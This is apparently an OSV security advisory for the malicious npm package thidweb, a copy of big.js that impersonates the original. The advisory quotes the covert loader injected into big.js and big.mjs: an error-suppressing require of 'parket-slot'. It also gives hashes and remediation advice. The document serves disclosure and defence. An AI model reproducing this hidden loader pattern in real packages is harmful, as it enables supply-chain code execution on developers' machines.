MAL-2026-6343

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/thidweb/MAL-2026-6343.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6343
Aliases
  • GHSA-3vx6-4gr6-qj63
Published
2026-06-23T20:01:26Z
Modified
2026-07-27T10:08:46Z
Summary
Malicious code in thidweb (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (80721058923b3e5963a6ee170007b8b4131ae5093481456ca10e63f52963987d)

Package is published as thidweb but its README, source comments, repo URL, and author metadata all identify it as big.js v7.0.1 by Mike McLaughlin (README.md line 1 # big.js; big.js header big.js v7.0.1; package.json repository url https://github.com/MikeMcl/big.js.git). The source is a verbatim copy of upstream big.js with a covert loader injected mid-file at big.js:605-609: try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The same block is present in big.mjs. parket-slot is not declared in package.json dependencies; the only declared dependency is log-taker@^0.0.9, which upstream big.js does not require (upstream is dependency-free). Any developer who installs thidweb (mistaking it for big.js) and imports it executes whatever code parket-slot ships, with errors silently swallowed. The combination of impersonation, undeclared runtime require, error-suppressing try/catch, and an unrelated declared dependency is a multi-stage installer-side code-execution attack.

Source: ghsa-malware (9c9c50e0a8d6b4f9a386ff65eaa0ecfbf7cadd4c43ba93b25e3f82ec4754048c)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-007356",
            "import_time": "2026-06-23T20:48:30.715119057Z",
            "modified_time": "2026-06-23T20:01:26Z",
            "sha256": "80721058923b3e5963a6ee170007b8b4131ae5093481456ca10e63f52963987d",
            "source": "amazon-inspector",
            "versions": [
                "0.0.8"
            ]
        },
        {
            "id": "GHSA-3vx6-4gr6-qj63",
            "import_time": "2026-07-27T09:43:03.751363783Z",
            "modified_time": "2026-07-27T01:18:03Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "9c9c50e0a8d6b4f9a386ff65eaa0ecfbf7cadd4c43ba93b25e3f82ec4754048c",
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / thidweb

Package

Name
thidweb
View open source insights on deps.dev
Purl
pkg:npm/thidweb

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

0.*
0.0.8

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "big.js",
            "sha256": "5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace",
            "tlsh": "24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"
        },
        {
            "path": "package.json",
            "sha256": "b45b4819897cf8421385b6cba4fb1ab287a762cc7d979c79041298202d02d7e4",
            "tlsh": "59213463c9a59da70af85ba47c6c03aef1151b1f00a04c17b07b130c4f3345b2096b7d"
        }
    ],
    "package_integrity": [
        {
            "filename": "thidweb-0.0.8.tgz",
            "hashes": {
                "sha1": "04e7457d06345536d4bd78c9e0a34e5598ac5ecc",
                "sha512_sri": "sha512-YU0zyLSumbR4vpqZ5emFW3M5I38jX4DtdP/xKPTNoj97robUvHd46iJvHKi5lyJjC77yYBJjtQRtOFmCnmGUXw=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/thidweb/MAL-2026-6343.json"